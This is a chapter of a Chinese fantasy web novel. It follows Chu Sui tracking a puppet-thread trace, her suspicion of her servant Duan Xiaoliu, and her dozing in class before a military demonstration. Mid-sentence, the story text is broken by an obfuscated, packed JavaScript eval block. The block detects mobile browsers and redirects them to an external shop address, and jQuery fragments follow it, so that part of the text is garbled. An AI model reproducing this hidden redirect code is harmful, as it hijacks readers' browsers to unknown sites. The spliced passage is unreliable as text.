楚岁追出宋府时,外墙四周仍伫立着一排面色肃杀的金吾卫。那匹名为“御风”的骏马正懒洋洋地靠在廊柱下,鬃毛在夜色中泛着银白的光泽。
她指缝间藏着刚从范东身上偷偷汲取的一缕傀线,掐指一占,卦象已成。
楚岁心念微动,倏地走到廊下,摸出一块糕点递过去:“御风,捎我一程可好?”
御风嗅了嗅那块干得噎人的糕点,扭过头,斜睨她一眼。楚岁竟在那马眼里读出了一丝嫌弃,这可是她中午留下的糕点,自己都舍不得吃完。
她讪讪上手欲安抚,岂料刚一触碰,御风猛地喷出一团热气,前蹄高高扬起,作势就要朝她踹来。
楚岁险险闪开,正对上一群金吾卫审视的目光,活像再看一个偷马贼。
她暗暗垂下眼睫,心道:当真是马随主人,同样不好对付。
恰在这时,暗角里一抹黑影转瞬即逝,正是方才卦象所指的方位!楚岁单手结印,腰侧护心镜骤然大亮,掌心随之迸射出一道紫电,撕裂夜色,直直射向藏在暗处之人!
“砰”地一声,紫电炸裂开来,刺目的电弧引得众人齐齐侧目。但见紫光消散处,蓦地腾起一股浓稠黑雾。
金吾卫当即拔刀逼近,厉声喝道:“谁在那鬼鬼祟祟!出来!”
烟雾散去,一个顶着爆炸头、满脸焦黑的少年犹犹豫豫走了出来。他嘴里还往外喷着黑气,全身游走的电弧噼啪作响,显然是被炸懵了。
少年幽幽抬起头,定定看着楚岁,扯着沙哑的嗓子喊:“小姐,是我。”
金吾卫众人一听,面面相觑,嘘声四起,这国子监学子当真糊涂,自己人都认不出来。
楚岁快步上前,睁大眼睛,震惊道:“小六,你怎么会在这儿?”
段小六木然道:“夫人让我跟着您。原想着叫住您,可您走得太急,就跟着到这儿了。”
楚岁颇有些尴尬:“小六,你怎样?没事吧?”
段小六“啊”了一声,人还有些懵,只听到了“事”这个字呆呆地又重复了一遍方才的话。
不对劲。方才傀线所指的分明是这个方向,难不成已经逃走了。楚岁心下狐疑,但看着还在一抽一抽的段小六,也只能暂且按下不表。
她取出一道空符,将他身上残余的雷术抽离收走,方才带着人离开。
这时,谢佑命正步出宋府,远远见楚岁与另外一名发型奇特的少年离去,脚步微微顿住。
御风见主人出来,立刻乖顺地俯下身。
金吾卫见状,忍不住道:“殿下,您这良驹可真奇了,方才与您同来的学生想骑它,险些被一脚蹬飞。”
闻言,谢佑命眼眸微眯,目光却落在御风身上,神色晦暗隐隐透着一股危险气息。
御风敏锐地察觉到主人这时的不悦,它不安地前后交踏着,眼珠子骨碌碌直转,偷偷觑了一眼谢佑命,又心虚地垂下头。
*
长街上,楚岁回想着今夜种种,心不在焉道:“小六,方才你守在那里的时候,可有看见其他人?”
段小六眸光微闪,平静道:“金吾卫来了不少,也有些百姓凑热闹,但看不出名堂,没多久就散了。”
楚岁微微颔首,不再追问,转而道:“小六,我该回国子监了,否则下回再想出来就难了。你帮我给大哥带个话。”
言语间,她解下腰间荷包,不经意将护心镜子的带子一并扯下,镜面轻轻碰到段小六的手背。
段小六浑身瞬间绷紧,却没有抽回手,回道:“小姐,您说。”
楚岁摸索片刻,取出一沓符箓递给他:“范东中了邪术,刺杀宋铁不成反被擒,恐牵连侯府。你告诉大哥,让他心中有数,好做应对。”
“还有这护身符,你替我顺带捎给大哥,自己也留一张防身。”
段小六立时收在袖中,状似随意问道:“那宋铁怎么样了?”
楚岁瞥他一眼,小六对范东出现在宋府似乎并不意外。她面上不显,只道:“我没见到宋铁,看宋治的神情,许是受了伤。”
段小六神色倏地一变,突然意识到自己方才说了不该说的话,旋即话锋一转,关切道:“既然宋大人无甚大碍,那老大和侯府应当就没什么大事了吧。也不知老大怎么会突然到宋府行刺!”
楚岁摇头:“小六,先将这些事禀报给大哥吧,想必他自有应对之策。”
段小六心下一凛,当即道:“小姐,那属下先行一步,就不送您回国子监了。”
楚岁低低应了声,只见段小六神色匆匆,转身就走。她看见他依旧有些卷曲的头发,心中忽地一动,说起来,她与小六的年岁,是不是也差不多。
不知道为什么,此前未曾在意的话,此刻在深夜里却格外清晰。
楚岁望着那玄色背影,霍然开口:“小六,是我来得太迟了吗?”
段小六身形猛地僵住,却没有回头。他的嗓音依旧清朗,却透着一丝难以言喻的凉意:“小姐孤身在外已是不易,有些事或许早已注定。”说完,他未再停留,转眼没入沉沉夜色。
楚岁站在原地良久,看着掌心傀线渐渐化作虚无消散,剩下掌心空空如也。
小六身上没有业障缠身,绝非傀主。可方才护心镜的反应,确确实实与傀线有所感应,想必是带了傀主之物前来查探。
*
日子转瞬即逝,晃眼过了三日。宋铁遇刺之事被压了下来,这几天在国子监不曾听闻任何风声。
楚彻托段小六带了口信,让她不必挂心专心向学,家中诸事他自会处理。
楚岁去了好几趟太学院,奈何宋治被些敬修兄弟看得死死的,就差用蹀躞带将他拴在裤腰上,根本无从近身细问。
楚岁只好连日炼化怨气,试图从中找出傀主的蛛丝马迹。直到昨天夜里,她终于区分出未能炼化的两团怨气,心头却更加迷茫。
当日书斋掌柜赠送的镇纸中竟藏着一缕怨气,与此前在麟趾园收来的怨气相融。极有可能,它们本就是同一人身上带有的。
刺史既已身故,那日汲取的怨气源于三人:两名常随,还有裴庙书。
是了,杜开既然以雕刻文房器具发家,他的后代,自然也可能继承巧匠工艺。她无法断言这一缕怨气究竟来自何人,只能吩咐巧月到书斋打听来历。
兴许只要知道镇纸出自何人之手,谜题就能揭开。
辰时钟声敲响,楚岁混在一众学子中,顶着一双
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498722|202626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乌青的眼,宛若游魂般飘进了学堂。
她困得连打几个哈欠,太学教习刚一进堂,她草草行完礼,便趴在案上睡得昏天暗地,不分昼夜。
直到被一声怒喝惊醒,“朽木不可雕也!”
楚岁猛地从后排弹起,下意识往外走,迷迷糊糊道:“下堂了?”
鲁博士胡子气得一颤一颤的,横指指向门外,呵斥道:“孺子难教!既你不愿听,便去廊下站着,莫要误人子弟!”
楚岁从善如流,牵起一抹歉意的笑,熟门熟路地从后门溜到廊下,对着天字堂发呆。
天字堂内,学生们闻声探头,见又是楚岁受罚,顿时没了兴致,只觉得乏味,天天看一人也有些腻了。
不过是个爱闹腾哗众取宠的野丫头,亏得史学正对她格外宽容。
众人或垂首诵读,或提笔写字,也有人已心猿意马,盘算着放假后去何处游玩。
元若收回目光,瞥了一眼楚芙妤,鄙夷道:“书院本是静心读书的净土,接连被这野丫头弄搅得乌烟瘴气。也不知什么名头,侯府也纵着她如此惹是生非。”
楚芙妤秀眉头微蹙,冷声道:“旁人如何,自有先生管教,轮得到你我置喙。莫不是有些人眼馋秋试魁首,故作这般拙劣伎俩,扰人心智。”
元若被噎住,当即反唇相讥:“呸!此女三番四次胡作非为,闹得人心惶惶.......”
话音未落,已被谢长乐厉声打断:“够了!吵什么!若觉得碍眼,便将帘子拉下,眼不见为净。跟个野丫头争个没玩,简直有失身份!”
此言一出,满堂学生相顾无言,顿时鸦雀无声。这太阳是从西边出来了么?郡主这是为楚岁出头?
然而,唯有一人骤然变了脸色。方才还言之凿凿胜券在握的楚芙妤,脸色骤然一白,垂着头不再开口。
那天清晨,金吾卫匆匆入了太子府,彼时她和郡主正与太子妃用膳。金吾卫禀报木谦遭妖邪袭击,断了一臂,幸得楚岁与崔庭琛相救。
自那日后,谢长乐一反常态,不时向她打听楚岁究竟是什么来头。
心绪纷乱间,楚芙妤笔尖一顿,宣纸上瞬间晕开一团刺眼的墨渍。她强自镇定,从案下抽出一张空白宣纸平铺其上,重新运笔。
如今裴庙书名誉扫地,元若她自是不放在眼里。只要等到秋试夺得魁首,届时声名鹊起,她便不必再仰人鼻息,受此之辱。
正一堂外,楚岁站着站着,脑袋一点一点,又打起了瞌睡。
忽地,堂内爆发出一阵欢呼,将她猛地惊醒。
楚岁扭头往窗内看去,只见鲁博士抚须含笑,高声道:“今日午后未时,兵部侍郎宋铁将亲临书院,于校场演武,诸位皆可前往观摩。”
有学生迫不及待地问:“那下午的课不上了?”
鲁博士不置可否:“今日乃天恩浩荡,圣上特许尔等近前聆讯。宋侍郎精通诸家武学,尤擅骑射。”
又有人问:“这么说,到时候六堂学生都会去校场了?”
鲁博士颔首:“不擅武艺者,亦可自行活动,待到酉时过后,方可出书院。”话音刚落,下堂钟声便敲响。鲁博士立时宣布下堂,随诸生肃立一揖,旋即步出学堂。